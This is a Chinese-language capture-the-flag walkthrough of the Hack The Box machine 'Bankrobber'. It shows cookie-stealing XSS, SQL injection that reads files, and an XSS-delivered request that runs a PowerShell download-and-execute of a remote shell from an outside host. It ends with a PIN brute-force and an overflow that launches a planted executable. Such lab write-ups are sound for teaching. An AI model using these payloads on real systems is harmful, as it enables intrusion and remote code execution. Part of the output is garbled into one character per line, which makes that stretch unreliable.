HTB-oscplike-Bankrobber
insane难度的bankrobber 靶机IP 10.10.10.154
sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.154
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
80进去是一个交易网站 这里注册登录后操作发现
这个明显就是个xss的hint 在这三个框里都插进
自己写个js偷cookie 监听到
GET /log?username%3DYWRtaW4%253D%3B%20password%3DSG9wZWxlc3Nyb21hbnRpYw%253D%253D%3B%20id%3D1
直接出账号密码了 base64解密得到
admin/Hopelessromantic
捏麻 这里一开始用burp解base64不知道为啥给我个错的我还琢磨了半天
进去之后有个search users有sql注入 嗯注看到是三列 有回显位 表有bankrobber,information_schema,mysql,performance_schema,phpmyadmin,test
bankrobber里有 balance,hold,users
…习惯性的注完发现把自己的账号密码注出来了 我在干勾八呢???
后面还有一个Backdoorchecker可以执行dir的命令但是尝试后提示只允许本地执行
那我们就先来审计一下代码 先去上面的sql注入爆绝对路径
1’ union select 1,@@datadir,3–+ 得到C:\xampp\mysql\data
再在burp里抓到Backdoorchecker的路径/admin/backdoorchecker.php
但是直接xampp后面拼接不对 去github找了找xampp目录得到
1’ union select 1,load_file(“c:\xampp\htdocs\admin\Backdoorchecker.php”),3–+
分析代码 可以看到$和&被过滤 remote_addr要为本地且前三个字符要是dir
那很明显可以拿管道符或者;来执行操作 但是怎么让目标机器本地执行操作呢
回到开头 我们是可以写个XSS让管理员去执行JS的 那就再写个带毒的JS
var httpRequest = new XMLHttpRequest();
var url = “http://localhost/admin/backdoorchecker.php”
httpRequest.withCredentials=true;
httpRequest.open(‘POST’, url, true);
httpRequest.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
httpRequest.send(“cmd=dir|powershell -c iex(new-object system.net.webclient).downloadstring(‘http://10.10.14.21:789/windowsshell.ps1’)”);
回到咱们的普信男账户执行弹回shell
拿到user的flag f635346600876a43441cf1c6e94769ac
上去扫描看了看内核漏洞发现没什么能用的 这题的提权是真勾八难
netstat -ano -a看到有一个端口910 我们之前是没扫出来的 显得很诡异
进行端口转发 把910转发到本机后访问发现需要四位密码的验证
写个脚本爆破 最后爆破出来是0021 正确后显示
Please enter the amount of e-coins you would like to transfer:
输入数字之后就结束了 显示
[$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe
但是当我们瞎勾八输入会发现
Please enter the amount of e-coins you would like to transfer:
[
]
d
a
h
f
a
h
f
a
h
f
o
i
a
s
h
f
o
a
i
h
f
j
v
n
v
b
i
x
v
c
i
o
x
[
] dahfahfahfoiashfoaihfjvnvbixvciox [
]dahfahfahfoiashfoaihfjvnvbixvciox[] Transfering
d
a
h
f
a
h
f
a
h
f
o
i
a
s
h
f
o
a
i
h
f
j
v
n
v
b
i
x
v
c
i
o
x
u
s
i
n
g
o
u
r
e
−
c
o
i
n
t
r
a
n
s
f
e
r
a
p
p
l
i
c
a
t
i
o
n
.
[
dahfahfahfoiashfoaihfjvnvbixvciox using our e-coin transfer application. [
dahfahfahfoiashfoaihfjvnvbixvcioxusingoure−cointransferapplication.[] Executing e-coin transfer tool: x
很明显它内存越界了且是32位偏移量 那就很简单了 我们先回去传个shell上去
然后构造dahfahfahfoiashfoaihfjvnvbixvcioc:\users\cortin\shell.exe
[$] Executing e-coin transfer tool: c:\users\cortin\shell.exe
nc弹回 拿到flag
aa65d8e6216585ea636eb07d4a59b197